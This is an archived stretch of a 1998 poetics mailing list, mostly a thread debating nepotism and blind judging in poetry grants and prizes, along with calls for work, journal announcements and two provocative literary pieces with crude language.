Re: Judging
Fri 2 Oct 1998

I, too, received a grant (from NY state) from a panel of judges I had never met. On the other hand, I know of several cases in which judges have urged friensa to submit work.

At 04:45 AM 10/2/98 PDT, you wrote:
>Part of what amazed me most about receiving the Pew Fellowship for the
>Arts this year was that I had neither met nor ever corresponded with any
>of its judges. (I have subsequently met one of them.)
>
>But I must say that in a community that is as relatively small as the
>poetry scene, the idea of "blind" judging and the idea of "screeners"
>seems to me fraught with silliness. Too many places use the screening
>process incorrectly and I've heard too many judges moan about no good
>work got through. Possibly that's what happened to Merwin with the Yale
>this past year (Don't know for sure).
>
>Ron Silliman
>[redacted]
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com
>
>

↑ Index

40. Fred Muratori
Re: Judging
Fri 2 Oct 1998

Okay, I should temper the cynicism of my previous post by admitting to having received the same blind beneficence as bestowed by a NYFA panel as well. In fact, I heard that many years ago a NY State arts panel (it was called CAPS back then), rejected an application on the grounds that the work was too derivative of Ashbery's, only to discover later that the rejected applicant was none other than Ashbery himself. Though some may find that story terrifying, for me it's strangely comforting.

-- Fred M.

> *I, too, received a grant (from NY state) from a panel of judges I had never met. On the other hand, I know of several cases in which judges have urged friensa to submit work.*
>
> *At 04:45 AM 10/2/98 PDT, you wrote:*
> *Part of what amazed me most about receiving the Pew Fellowship for the Arts this year was that I had neither met nor ever corresponded with any of its judges. (I have subsequently met one of them.)*
>
> *But I must say that in a community that is as relatively small as the poetry scene, the idea of "blind" judging and the idea of "screeners" seems to me fraught with silliness. Too many places use the screening process incorrectly and I've heard too many judges moan about no good work got through. Possibly that's what happened to Merwin with the Yale this past year (Don't know for sure).*
>
> *Ron Silliman*
> [redacted]
>
> ---
> *Get Your Private, Free Email at http://www.hotmail.com*

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

↑ Index

41. **Jacques Debrot**
Re: Judging
Fri 2 Oct 1998

Fred Muratori writes:

"In fact, I heard that many years ago a NY State arts panel (it was called CAPS back then), rejected an application on the grounds that the work was too derivative of Ashbery's, only to discover later that the rejected applicant was none other than Ashbery himself. Though some may find that story terrifying, for me it's strangely comforting."

This reminds of an article I read awhile ago in the _Times_ by a journalist who submitted under his own name, a typescript of Kosinksi's novel _Steps_ -- which had just won that year's National Book Award or something similar -- to a dozen major publishers, including the publishing house that had just published the book. Not only was the ms. universally rejected, but Kosinski's own publisher didn't even recognize it -- they turned it down for being too "experimental."

As re Ashbery, he of course won the 1955 Yale Younger Poets prize after first having had his ms rejected by a screening panel. Auden, a friend, & that years' judge -- after learning that Ashbery had submitted a ms that he, Auden, had never seen, asked Ashbery to reapply. O'Hara, too, had had his poems sent back for having arrived late. Auden asked him to send along his ms as well.

↑ Index

42. Karen Kelley
Re: Judging
Fri 2 Oct 1998

I was nominated & received a grant from a panel that included an acquaintance of one of my grad school professors. I didn't apply for the grant, but am I guilty by association?

Seriously, though, Ron's comment seems sensible. This is a small community--even factoring in different "schools," so isn't it likely that if you've done a bit of publishing, there's a good chance that *someone* on a panel of judges would know you or one of your friends or your friend's publisher, etc. etc. etc.?

-----Original Message-----
From: Mark Weiss <[redacted]>
To: [redacted] <[redacted]>
Date: Friday, October 02, 1998 9:48 AM
Subject: Re: Judging

> *I, too, received a grant (from NY state) from a panel of judges I had never met. On the other hand, I know of several cases in which judges have urged friensa to submit work.*
>
> *At 04:45 AM 10/2/98 PDT, you wrote:*
> *Part of what amazed me most about receiving the Pew Fellowship for the Arts this year was that I had neither met nor ever corresponded with any of its judges. (I have subsequently met one of them.)*
>
> *But I must say that in a community that is as relatively small as the poetry scene, the idea of "blind" judging and the idea of "screeners" seems to me fraught with silliness. Too many places use the screening process incorrectly and I've heard too many judges moan about no good*

> *work got through. Possibly that's what happened to Merwin with the Yale this past year (Don't know for sure).*
>
> *Ron Silliman*
> [redacted]
>
> _____
> *Get Your Private, Free Email at http://www.hotmail.com*

↑ Index

43. henry gould
Re: Judging
Fri 2 Oct 1998

On Fri, 2 Oct 1998 11:29:14 -0700 Karen Kelley said:
>I was nominated & received a grant from a panel that included an
>acquaintance of one of my grad school professors. I didn't apply for the
>grant, but am I guilty by association?

That's clearly a different situation from a fee-based contest. The artist mafias who sit on panels will always know some of the academic mafias whose friends are artists.

> *Seriously, though, Ron's comment seems sensible. This is a small community--even factoring in different "schools," so isn't it likely that if you've done a bit of publishing, there's a good chance that *someone* on a panel of judges would know you or one of your friends or your friend's publisher, etc. etc. etc.?*

One can always hope so. It is a small cozy community. Little schools, swimming along in little pools, blurrping out their inky black squidpies. - Henry Gould

↑ Index

44. Al Filreis
Alfred Levinson
Fri 2 Oct 1998

Does anyone know what happened to the poet Alfred Levinson after he published _Cauldron_ (James A. Decker Press) in 1948? The next book I see--which may or may not be the same Alfred Levinson--is in 1965. Then there's "Paris,

lost and found" published by Poesie vivante in 1968. I'm looking for any sort of information about Levinson's work and life.

If you have anything at all, I'll be grateful. Please write to me directly at [redacted].

Thanks.

Al Filreis
University of Pennsylvania

↑ Index

45. Susan Wheeler
Off list
Fri 2 Oct 1998

---

and off this address for a couple of weeks, but can be e-mailed at [redacted] while gala touring the west coast if needed.

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

46. Elizabeth Treadwell
Outlet magazine -- call for work
Fri 2 Oct 1998

---

hi folks -- I think I've posted this already, but---

Outlet (3) Ornament will include work which addresses fashion: ornament, the (synthetic) fixtures of the body, & the languages/technicalities of attire, both contemporary & historical. Deadline December 15, 1998.

Outlet (4) Themeless, for a change, with a slight inclination toward maps & weather. Deadline June 15, 1999.

Thank you.

Please send a hard copy of your work and a brief (1-3 sentence) bio to:

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

47. Chris McCreary
first issue... new journal... ixnay
Fri 2 Oct 1998

I'm pleased to announce the publication of the first issue of ixnay, a new Philly-based twice-yearly poetry journal.

The first issue features eight pages of a new serial poem by Joseph Torra, as well as hearty-sized chunks of new work by Anselm Berrigan, Barbara Cole, Buck Downs, Brett Evans, Greg Fuchs, Brian Lucas, Michael Magee, Pattie McCarthy, Jennifer McCreary, Carol Mirakove, Frank Sherlock, Chris Stroffolino, and Kevin Varrone.

The issue is 61 pgs., 8 1/2 x 7, & staple-bound.

...all this for a mere $5, including postage, etc. Also still available are the first two ixnay press chapbooks-- Frank Sherlock's "13" ($5) & Pattie McCarthy's "Octaves" ($4). You can get both the journal & the chapbook of yr choice for $8, or the journal & both chapbooks for $11...

Orders or queries can be directed to [redacted]... You're welcome to order now & pay later...

Mail orders go to:

ixnay press
c/o Chris McCreary
1164 S. 10th Street
Phila PA 19147

Checks should be made out to me, Chris McCreary...

Thanks.

& a brief shout out to any contributors on the list-- your copies're all going out in the mail first thing Monday, so heads up...

Chris

↑ Index

48. Gabriel Gudding
Re: Judging
Fri 2 Oct 1998

On Fri, 2 Oct 1998, Mark Weiss wrote:

> *I, too, received a grant (from NY state) from a panel of judges I had never met. On the other hand, I know of several cases in which judges have urged friensa to submit work.*

Mark, could I trouble you to actually _list_ the cases in which judges solicited or "urged" work from friends? -- assuming that wouldn't be too embarrassing for anyone. I'm interested in specific names, contests, grants, etc etc. GG

↑ Index

49. Mark Weiss
Re: Judging
Fri 2 Oct 1998

That would of course be embarassing, and a violation of confidence.

At 08:30 PM 10/2/98 -0400, you wrote:
>On Fri, 2 Oct 1998, Mark Weiss wrote:
>
>> I, too, received a grant (from NY state) from a panel of judges I had never
>> met. On the other hand, I know of several cases in which judges have urged
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>
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>solicited or "urged" work from friends? -- assuming that wouldn't be too
>embarrassing for anyone. I'm interested in specific names, contests,
>grants, etc etc. GG
>
>

↑ Index

50. Gabriel Gudding
Re: Judging
Fri 2 Oct 1998

---

1). Mark, Jeepers, I'd go so far as to say that what's in fact embarrassing is not frank open discussion about such matters, but the kind of casual and _sub rosa_ arrangements that ultimately wind up costing many poets time, cost of entry fee, cost of postage -- or, in the case of grants, the cost of the time writing the grant etc etc:

2). these being the very same injurious sub rosa casual arrangements that cause us to button-up out of some odd sense of guilty decorum, right?

3). It's often tough, I know, to separate guilt and complicity from decorum.

4). No high-horse is being sat on here: I have asked simply for a frank and disinterested discussion of these matters -- and a frank discussion would seem to predicate we not withhold names, yah?

5). You wrote "that would of course be embarrassing and a violation of confidence" (vide infra), but jeewhiz one wonders just how much this (dare I say priggish) decorous professional privacy has cost poets over the years, monetarily and otherwise.

6). Anyone care to comment?

On Fri, 2 Oct 1998, Mark Weiss wrote:

> *That would of course be embarassing, and a violation of confidence.*
>
> *At 08:30 PM 10/2/98 -0400, you wrote:*
> *On Fri, 2 Oct 1998, Mark Weiss wrote:*
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> *I, too, received a grant (from NY state) from a panel of judges I had never met. On the other hand, I know of several cases in which judges have urged friensa to submit work.*
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> *Mark, could I trouble you to actually _list_ the cases in which judges solicited or "urged" work from friends? -- assuming that wouldn't be too embarrassing for anyone. I'm interested in specific names, contests, grants, etc etc. GG*

↑ Index

51. A. Jenn Sondheim
Global Crisis (fwd)
Sat 3 Oct 1998

Global Crisis "Worsening and Deepening"

Guy in Belgium hacks his hedgefund, turns securities into Japanese pass-alongs, convert fast to Thai currency. Meanwhile Indonesia banks on Bra- zilian Amazon rubber; there's none left where this investment lies. New York City cancels World Bank loans to Kenya; key men in Afghanistan hold the landmine market in the hands of four, count them, Southern Indians.

The markets creak, corrode; everyone skims from everyone else. There are no cracks, none, where everything is cracked, falling apart. It's a thick crust sliding everywhere across the rest of the world - not that they wouldn't loanshark if they could. It's an avatar crust, loaded with get- rich schemes, internets, intranets, movements of goods and currencies hard and soft, ploughing under whatever's left of wilderness. Everything turns towards management; management runs riot with Australian uranium, South American oil, Antarctica coal

which has just finally burned the Ross Ice Shelf past the point of no return. Slaughter of the guilty takes the last remaining penguins; portfolios grow in the Hague, collapse in Norway, ex- pand in Belgrade. Russian stockpiles fuel Saudi hopes; missiles will take out the rest, but there's money to be made in charred remains. The Net creaks with deals gone bad, collapsing markets, currencies hitting rock bottom; starvation's kept out of it.

The crust turns cancerous; cracks spread, whole chunks crash to the ground taking everything in their path. This is rough substance, violent, tumors raging within it, churning everything in its path. The crust leaks and topples; the rest of us would die for the same leprosy, local gangrenes begging for full-fledge suppuration.

Maws open up; breath stinks of decay as Malaysian death squads swallow Eu- rodollars on spec, transform yen into Canadian dollars collapsing Peru- vian banks. New York wallstreeters gouge eyes, street-fight for World Bank loans passed on by baby crack whores sold by Serbian traders working out of Scot- land. The British make the drug hard for Chinese merchandising; everyone swallows Vietnam. Bamboo run by avatars crosses the Atlantic and Pacific; Al- banian finance terrorists are hung by their tongues from it. Colombian savings and loans fortify, warning off Greek mercenaries looking for an easy buck. The crust heats up; lava flows like shit from gaping crevices; French bankers lap it up, their faces burned to a crisp. Sales are up on the Net; Finland creaks, fucks itself, dies in ice, drowned in semen worth big bucks in Mali. Insane Mexican pilgrims carry gold from Fort Knox into North Korea; starved teeth break against hard yellow. It's worth it says the Web page.

The crust shifts; Americans explode Bali, sell pieces of flesh to starving Israel and Iraq. Cash flows in big money veins; there's nothing stopping it. The crust turns incandescent, swallows the silver supply. Gangrene chews out arms and legs, cocks and cunts, chews breasts, tongues, blinds and deafens. Bodies for dividends are shoved into the shit. Crust burns everything. Planets wobble; the world splits, returning two for one.

↑ Index

52. Mark Weiss
Re: Judging
Sat 3 Oct 1998

If you want to talk further it will be backchannel.

At 09:32 PM 10/2/98 -0400, you wrote:
>1). Mark, Jeepers, I'd go so far as to say that what's in fact embarrassing

>is not frank open discussion about such matters, but the kind of casual
>and _sub rosa_ arrangements that ultimately wind up costing many poets
>time, cost of entry fee, cost of postage -- or, in the case of grants,
>the cost of the time writing the grant etc etc:
>
>2). these being the very same injurious sub rosa casual arrangements that
>cause us to button-up out of some odd sense of guilty decorum, right?
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>5). You wrote "that would of course be embarrassing and a violation of
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>> >embarrassing for anyone. I'm interested in specific names, contests,
>> >grants, etc etc. GG
>> >
>> >

>>
>
>

↑ Index

53. miekal and
forward from the nettime announcer
Sat 3 Oct 1998

Date: Tue, 29 Sep 1998 18:28:52 +0100
From: [redacted] (Florian Cramer)
Subject: Announcing Finnegans Wake-based text recombination machine

"Here Comes Everybody - A Continuarration of/on Finnegans Wake"
<http://userpage.fu-berlin.de/~cantsin/hce/hce.cgi>

This machine generates new words and new narratives from the text of "Finnegans Wake" by recombining its syllables.

Every word is a cross-reference which, once you follow it, reorganizes the text and recombines it according to syllable patterns. New narratives result, and new portmanteau words not to be found in Joyce's text.

A deep recursion into James Joyce's Finnegans Wake. Potential texts of Finnegans Wake may perpetually be read here.

↑ Index

54. Lawrence Upton.
Third SVP Colloquium - PRACTICE - Bulletin 5
Sat 3 Oct 1998

The Third Sub Voicive Colloquium will be held at:
Centre for English Studies,
Senate House,
University of London
Friday 29th January 1999
*
The Colloquium will focus and concentrate upon the practice of contemporary British and Irish poets. Suggested starting reference points will include:
a. FOR THE BIRDS: proceedings of the First Cork Conference on New and Experimental Irish Poetry (26 April 1997) edited by Harry Gilonis, hardPressed / Mainstream 1998
b. WORD SCORE UTTERANCE CHOREOGRAPHY in verbal and visual poetry edited by
Bob Cobbing and Lawrence Upton, to be published by Writers Forum in

October
1998
c. OTHER: BRITISH AND IRISH POETS SINCE 1970 edited by Richard Caddel and
Peter Quartermain, to be published by Wesleyan University Press in the winter of 1998
*
Practising poets from Britain and Ireland will lead discussions throughout the day, as follows:
Karlien van den Beukel THINGS TO DO WITH EXCLAMATION MARKS
Ric Caddel WRITING RIGMAROLES
Cris Cheek SKIN OF NOISE
Trevor Joyce PRACTICE IN IRELAND
Tony Lopez FALSE DATA
Frances Presley COLLABORATION IN THE FEMININE
Carlyle Reedy TALK IN PRACTICE
Alaric Sumner STRADDLING LANGUAGE AND PERFORMANCE
Harriet Tarlo Title to be announced
Scott Thurston APPROACHES TO METHOD
*
There will be a bookstall running throughout the day, organised by Paul Holman and Bridget Penny. Further information on this and regarding timings and schedules; admission costs; and so on will be announced later.
Trevor Joyce will also be giving a Sub Voicive Poetry reading around that time. Details will be announced shortly.

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55. R.Gancie/C.Parcelli
Re: Judging
Sat 3 Oct 1998

Maria Damon wrote:
>
> At 8:30 PM -0400 10/2/98, Gabriel Gudding wrote:
> >On Fri, 2 Oct 1998, Mark Weiss wrote:
> >
> >> I, too, received a grant (from NY state) from a panel of judges I had never
> >> met. On the other hand, I know of several cases in which judges have urged
> >> friensa to submit work.
> >
> >

> >Mark, could I trouble you to actually _list_ the cases in which judges
> >solicited or "urged" work from friends? -- assuming that wouldn't be too
> >embarrassing for anyone. I'm interested in specific names, contests,
> >grants, etc etc. GG
>
> i'm coming in on this late, and must admit to not having such a great stake
> in the discussion, but this starrish insistence on exposing details is
> unsettling and there is an imputation of bad faith i find disturbing. we
> all know writers function in small and overlapping communities. it seems a
> far cry from urging a friend to avail him/herself of an opportunity one
> knows of to "rigging" a contest. to invoke a parallel that i'm more
> familiar with, when a position becomes available in an academic department
> people routinely contact the good people they know in that field (which
> often will include friends) and urge them to apply. since these positions
> often draw several hundred applicants, it is understood that an invitation
> to apply does not guarantee a job, even when one's best friend is on the
> hiring committee. occasionally nepotism does win out, as in searches that
> are for inside candidates but that by law have to be nationally advertised,
> in which case, to be frank, openness was not at issue in the first place.
> these latter matters are indeed cause for some chagrin, but i don't really
> see how institutions could operate otherwise.
I was holding back from this discusion but I too have recieved grants in the past and I have always gotten them as special favors to me in other words as straight economic and political quid pro quos. The best deal was the one I struck with Exxon right after the Valdez spill. They had just initiated their POETS, VOX POPULI campaign and you can bet your sweet ass I wanted a taste of that $440,000,000.00 pot. I had provided some forged end user certificates to a group of mercenaries in Angola to purchase weapons for Savimbi, so the boys at Exxon, who were trying to shove out Gulf and Royal Dutch Shell in the region, owed me one. But to get my grant money, I had to fuck the entire board of directors and their chauffeurs. Actually, this wasn't so bad because those suits are really in touch with their bodies. Anyway, that's my confession. I hope you won't think any less of me.---Carlo Parcelli

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56. **Gabriel Gudding**
Re: Judging
Sat 3 Oct 1998

On Sat, 3 Oct 1998, Maria Damon wrote:

> *At 8:30 PM -0400 10/2/98, Gabriel Gudding wrote:*
> *On Fri, 2 Oct 1998, Mark Weiss wrote:*
>
> *I, too, received a grant (from NY state) from a panel of judges I had never met. On the other hand, I know of several cases in which judges have urged friensa to submit work.*
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> *Mark, could I trouble you to actually _list_ the cases in which judges solicited or "urged" work from friends? -- assuming that wouldn't be too embarrassing for anyone. I'm interested in specific names, contests, grants, etc etc. GG*
>
> *i'm coming in on this late, and must admit to not having such a great stake in the discussion, but this starrish insistence on exposing details is unsettling and there is an imputation of bad faith i find disturbing. we all know writers function in small and overlapping communities. it seems a far cry from urging a friend to avail him/herself of an opportunity one knows of to "rigging" a contest. to invoke a parallel that i'm more familiar with, when a position becomes available in an academic department people routinely contact the good people they know in that field (which often will include friends) and urge them to apply. since these positions often draw several hundred applicants, it is understood that an invitation to apply does not guarantee a job, even when one's best friend is on the hiring committee. occasionally nepotism does win out, as in searches that are for inside candidates but that by law have to be nationally advertised, in which case, to be frank, openness was not at issue in the first place. these latter matters are indeed cause for some chagrin, but i don't really see how institutions could operate otherwise.*

a.) Again I'm not insisting folks operate otherwise: I'm not talking about jobs gotten via contacts or mutual second parties.

b.) Am talking about prizes and competitions and the act of judging, and the tip of the hat that many of these competitions make to ensure a sense not only of "fairness" but of "possibility": namely blind-reading, -- and how curiously that practice compares to the recently stated idea that what we have here is a small community which cannot help but be governed by bias and personal taste and reputation.

c.) Kenneth Starr has too many double consonants in his name to have anything but a duplicitous character: I am however not a muckraker. My interest is that of a mildly stupid arriviste -- nothing more.

d.) There have been previous testimonies on this list about how the above prob is both frustrating and curious.

e.) The implication that my interest shows bad faith is half-goofy, therefore: I'm talking about "open" competitions and prizes and prize money and "judges" (not

colleagues). These are questions everyone has thought about and that everyone has spoken about: nothing muckrakey about any of this, nothing starry either. Am not starry-eyed or muck-booted, am curious.

f.) If my questions make anyone feel icky, I apologize: were not asked in bad faith but out of more or less innocent curiosity.

g.) I miss my grandmother.

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57. Maria Damon
Re: Judging
Sat 3 Oct 1998

At 8:30 PM -0400 10/2/98, Gabriel Gudding wrote:
>On Fri, 2 Oct 1998, Mark Weiss wrote:
>
>> I, too, received a grant (from NY state) from a panel of judges I had never
>> met. On the other hand, I know of several cases in which judges have urged
>> friensa to submit work.
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>Mark, could I trouble you to actually _list_ the cases in which judges
>solicited or "urged" work from friends? -- assuming that wouldn't be too
>embarrassing for anyone. I'm interested in specific names, contests,
>grants, etc etc. GG

i'm coming in on this late, and must admit to not having such a great stake in the discussion, but this starrish insistence on exposing details is unsettling and there is an imputation of bad faith i find disturbing. we all know writers function in small and overlapping communities. it seems a far cry from urging a friend to avail him/herself of an opportunity one knows of to "rigging" a contest. to invoke a parallel that i'm more familiar with, when a position becomes available in an academic department people routinely contact the good people they know in that field (which often will include friends) and urge them to apply. since these positions often draw several hundred applicants, it is understood that an invitation to apply does not guarantee a job, even when one's best friend is on the hiring committee. occasionally nepotism does win out, as in searches that are for inside candidates but that by law have to be nationally advertised, in which case, to be frank, openness was not at issue in the first place. these latter matters are indeed cause for some chagrin, but i don't really see how institutions could operate otherwise.

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58. R.Gancie/C.Parcelli
Re: forward from the nettime announcer
Sat 3 Oct 1998

---

miekal and wrote:
>
> Date: Tue, 29 Sep 1998 18:28:52 +0100
> From: [redacted] (Florian Cramer)
> Subject: Announcing Finnegans Wake-based text recombination machine
>
> "Here Comes Everybody - A Continuarration of/on Finnegans Wake"
> <http://userpage.fu-berlin.de/~cantsin/hce/hce.cgi>
>
> This machine generates new words and new narratives from the text of
> "Finnegans Wake" by recombining its syllables.
>
> Every word is a cross-reference which, once you follow it, reorganizes
> the
> text and recombines it according to syllable patterns. New narratives
> result, and new portmanteau words not to be found in Joyce's text.
>
> A deep recursion into James Joyce's Finnegans Wake. Potential texts of
> Finnegans Wake may perpetually be read here.
And whart a surd letthel shight it ys.

Hirp! Hirp! for their Missed Understandings! chirps the Ballat of Perce-Oreille.---j.j.

---carlo parcelli

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59. MAXINE CHERNOFF
Where is Tom Raworth
Sat 3 Oct 1998

WWe're trying to locate Tom Raworth. Sent an e-mail, which hasn't been answered. Does anyone know where he currently is and how he can be reached.

Please back-channel.

Paul Hoover

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60. Katherine Lederer
Re: Judging
Sat 3 Oct 1998

I find this whole discussion fascinating--and I don't think it's unsettling for GG to be asking such questions. If, in fact, some judges or hiring committees or grant panels are asking friends to submit because this or that friend also just happens to be a really terrific poet, then why not expose the fact that the judge/panel etc and the candidate are friends?

In other words, if a teacher asks his/her student to submit simply because the student is good--and the student is indeed "good"--then why would the teacher or student be embarrassed about the nepotism?

I, personally, think that yes, some of the nepotism in poetry is kind of okay... it has something to do with community and with shared aesthetic considerations and, perhaps, with a sweet sort of "personism".... but I also think that a lot of the big prizes are in fact scams. The fact that there are so many of them is what strikes me as a scam... why is it that almost no press will publish a writer's first book unless the writer pays in $10-$25?

Best,
Katy

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61. Eliza McGrand
contests in a world, not a hotel room
Sat 3 Oct 1998

i don't think asking these questions is at ALL muckraking, or starry eyed. a statement that keeps coming up time and time again is in part just exactly what makes me queasy. everyone keeps coming back to "it is a small community; everyone knows someone" in one way or another.

well, it is NOT a small community. i've been helping edit, for example, a small, not wildly famous 'ezine for a couple of years. every month, we get wonderful work from people and places we've NEVER heard of before. people who are not online, have not been published anywhere.

it is a HUGE community, with people from ALL OVER who are writing in tiny towns dotting the west, midwest, east, north, south, alaska, hawaii, japan, tibet. for just ONE example, has anyone on this list heard of carmen butcher? i would absolutely guarantee not. well, carmen is an extraordinary writer who popped up on my screen with submissions (you can see her work in the memory issue of the free cuisinart, as well as in upcoming Extended Play issue) a few months ago. she has interesting credentials -- fullbright in english at oxford, lit degree.

but, NO ONE HAD HEARD OF HER. and i think we are the first people to publish her. small community BULLWAH! it is a small community when we shut it down to new people who don't know anyone. it is a small community when grants are given to our friends, and we can't be bothered to read through any other work that got sent in. it is a small community when we only send word about grants, and magazines, and submission opportunities to our friends, instead of taking out ads in community newspapers, sending things on multi-subscriber lists, posting notices on bulletin boards all over the web, sending notices to english departments in community colleges, state schools, universities, AND tiny art centers in tiny towns dotting the all over.

another example: an online zine, Tintern Abbey. the proprieter, chris tannlund, spent months posting notice of the zine everywhere he could think of. he received hundreds of submissions, many from people he'd NEVER heard of as well as a number he had.

years back, i was a totally broke, shy, new writer. i submitted to contests, magazines, reading series, mfa programs, conferences and workshops galore... but... i didn't know anyone. i hadn't BEEN at those mfa programs, READ at those reading series, hung out at those conferences with those Big Names. so i didn't have any Big Names to write the "recommendation letters" many venues overtly requested. or have a word with any of the judges. or let anyone in the department know i was a "strong candidate." and for the most part, i got trashed. shitpiled. who was i, some nobody from the midwest? who cares about her.

but those very departments, contests, reading series, etc. more often than not got their funding, waved flags about, bragged over, how they were "famous" because of all the "new writers" that came from there. new writers? baloney. writers that "knew" someone in the "small" community that was all they were open to. certainly not the shitpile of writers from tuckahoe tennessee who couldn't muster anyone famous for a golden signature letter, those pathetic writers who really were dumb enough to BELIEVE the "open to anyone" written on the promotion materials, who were dumb enough to believe that if you send off a group of 5 or 7 or 12 of your best poems or stories, that will be what weighs with the judges, or readers, or whatever for that mfa, or contest, or grant.

now i finally HAVE a 'zine of my own, and the zine (in part because of web and search engine dynamics) really IS open. and we advert in unfamiliar and wierd places as well as known ones. and we have a rule that each editor doesn't make decisions on work from people they know. we also solicit, sometimes from our "friends." but we both also make a point of searching out and finding complete strangers on the web to ask for work from.

i'd bet alot of people on this list have gone through the same thing. i know i've been seeing promos for new mags, small presses, etc. and they often have names i have never heard of before, names of people appearing for first time, often first time ever, not just in that zine or venue.

so alot of us are doing what i do -- where are all of you? you know, from your own experience, that this does not have to be a small community.

can you talk about how you opened your contests, presses, magazines, reading series, grant panels, to work from people you DIDN'T know, to the BIG world outside the small one?

ps.
AND how you opened your lists (like poetics)?

↑ Index

62. Thomas Bell

Re: 'judging' contests in a world, not a hotel room

Sat 3 Oct 1998

As a member of the shitpile of writers from tuckahoe tennessee (actually Murfreesboro, believe it or not) I do appreciate the numerous calls for work and opportunities to discuss issues on this list. I can to some degree participate even though I don't dwell in the right circles, if there are, in fact, right circles.

tom bell

Eliza McGrand wrote:
>
> i don't think asking these questions is at ALL muckraking, or starry eyed.
> a statement that keeps coming up time and time again is in part just exactly
> what makes me queasy. everyone keeps coming back to "it is a small community;
> everyone knows someone" in one way or another.
>
> well, it is NOT a small community.

--
<><><>

http://members.home.net/trbell/start.htm
http://home.talkcity.com/EaselSt/trbell/Blackwho.htm

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63. Joe Amato/Kass Fleisher
Re: Judging
Sat 3 Oct 1998

---

to the question of small vs. large communities (due allowances for "large" and "small"): both exist, and there are reasons why both should exist... the former works differently than the latter, and we might go on and on as to which is "better," we might propose a continuum from small to large, etc...

but from an academic['s] standpoint: here we go, from a *current* mla job list opening in creative writing (mla now offers the list online)---i'll keep the name of the institution out of it simply b/c my point is not to target specific schools:

> *applicants should show evidence of outstanding promise (a book/prominent magazine publications, prizes, good teaching, and strong academic interests).*

we all know that prizes are occasionally given to stuff that comes in over the transom... however, and at the same time, i assure you that the above institution is likely to privilege applicants whose book is on a "national press" (a term used all the time in the mla job lists) and whose prizes are themselves known quantities---this is, in general, what constitutes "promise"...

which is to say, that if the question of prizes reduces to being properly connected, it's a bit of a sham, no?... it's one thing to interview someone b/c someone else vouches for their character... it's another to set up a networking-structure that permits only such & such ethnicities, or such and such awards, into the mix... and yes---the "letters of recommendation" requirement can work in precisely this way---if we let it...

i'm not suggesting, btw, that awards are as crucial as ethnicities... and i don't generally trust institutional structures that are geared toward separating the "good" dozen applicants from the "less good" or "outright bad" 200 or so (my way of making a political-economic point, if you will)... favorites will be played, no doubt, simply b/c there aren't enough goodies to go around... on this basis i would suggest that the only thing keeping the game "honest" is one's (and two's) commitment to giving each and all an open and fair hearing (i.e., not to discard applications from those with small press publications, those who wear high-top sneakers ETC.---and if you ain't see this done, you're not living on my planet)...

that said: what frustrates me most about the awards network is the general sort of writerly ethos it helps proliferate... yknow---you get your mfa (or whatever), then you busy yourself first and foremost getting your work placed in the "best" magazines and journals... and then---when you have a sufficient accumulation of new work---you circulate your manuscript through the awards circuit... for some writers i know---some of whom are dear friends, some of whom are fine writers---this constitutes their most urgent sense of their professional-writerly selves... this is the way they've learned the "trade," their "craft," ETC...

i don't have to indicate why this is such---or can be such---a bad thing, do i?... sure, there are exceptions too... but my point here is that, *however* such awards are judged (and i've got one small award myself on my vita---2nd place for the first poem i ever published---entirely over the transom), this matter of making writers dance through such hoops as a primary part of their professional development, as a primary part of how they come to the act of writing and publishing, leaves a helluvalot to be desired...

assuming, that is, that the community in which said writers work, which includes of course a working sense of community, works something like that job ad (above)... and then, hey, we're back to the community issue, no?...

best,

joe

↑ Index

64. Karen Kelley
Re: Judging
Sat 3 Oct 1998

> *this matter of making writers dance through such hoops as a primary part of their professional development, as a primary part of how they come to the act of writing and publishing, leaves a helluvalot to be desired...*

It certainly does, but we also have to remember that the hoops are for those who want to pursue that kind of *professional* development, which is different for many of us from our *writerly* development.

They seem like two different jobs. Some people pursue one or the other, and some pursue both. I think there's a sense that those who pursue the professional trappings are somehow less "pure" than those who don't. But what's wrong with someone doing the whole national publisher/award/nepotism circuit if it suits them? To think that the high-top crowd loses out on something because there are all these credentialed professional poets out there seems silly.

Harvard isn't going to hire someone with a single chapbook to their credit, no matter *how* good the chapbook is. Not because Harvard is evil, but because it's a business.

And I can't help but wonder with amusement if perhaps one reason there's such a call for those with heavy, specifically national publishing credits isn't because the university's don't know *how* to judge poetry, and figure they'd better go with someone someone else has recognized. The cover your ass factor seems high.

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65. Joe Amato/Kass Fleisher

Re: Judging

Sat 3 Oct 1998

---

karen, i think what you say is true... still, i find much to lament in the way many come to this... profession!... b/c in the end, it's not that we couldn't all use a pat on the back---it's that the system (and all said and done, i think there IS one, professionally speaking) will eats its young...

i mean to say that this is where institutional politics square off, for one, against aesthetics... and given the once and future economics of the postsecondary teaching profession (my remarks are not aimed at reducing the discussion to same), it seems to me that those who opt to "play" themselves thataways are feeding the system (i.e., the one that eats its young)...

which isn't to say that if you win an award, you should feel "guilty" or some such... but i am saying---yes i am---that i expect better---yes i do---and i expect better even from those who've proved successful playing that game... i expect those who've been that lucky, or that single-minded, NOT (e.g.) to evaluate me as a writer on the basis of NOT having taken that path... i'll try to do the same---ONCE i see an mla job ad that reads approx.

"must have publications, small press writers welcome"

and ysee, my hunch is---based in everything i've seen in this profession---that i'm asking a lot... b/c the sort of commitment it takes to propel you in said professional directions is substantial---and generally requires that you act in kind...

as to harvard being evil (sans religious connotations): well yes and no, as with most institutions... some are less evil than others, but most seem to promote a certain level of evil, as well as good (which isn't to ignore that a given institution might be primarily evil or primarily good or whatever)... but when harvard does evil or good---harvard, the most heavily endowed university in the u.s.---well, you can expect to hear about the good, right?... and i think we might oughta consider worrying over that evil...

best,

joe

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66. **Mark Weiss**
Re: Judging
Sat 3 Oct 1998

Karen--I think your last paragraph is, like the brits say, spot on. But I have some problems with your second. Sure, it's two different jobs, and some are disinclined or less able to perform the "professional" one. Something--a lot--is lost, however, in the foregrounding of that task. Some of the high-top crowd have included, say, Blake, Clare, Leopardi, Dickinson, Niedecker, and, until recently, virtually everyone in Don Allen's anthology (I could tell you what kind of reception my teaching Olson at Columbia got in 1968). Can you imagine Harvard's reaction to Blake's job application? "Self-publishes, small-press only, and a bit eccentric."

At 12:54 PM 10/3/98 -0700, you wrote:
>> this matter of making writers dance through such hoops as a
>> primary part of their professional development, as a primary part of how
>> they come to the act of writing and publishing, leaves a helluvalot to be
>> desired...
>
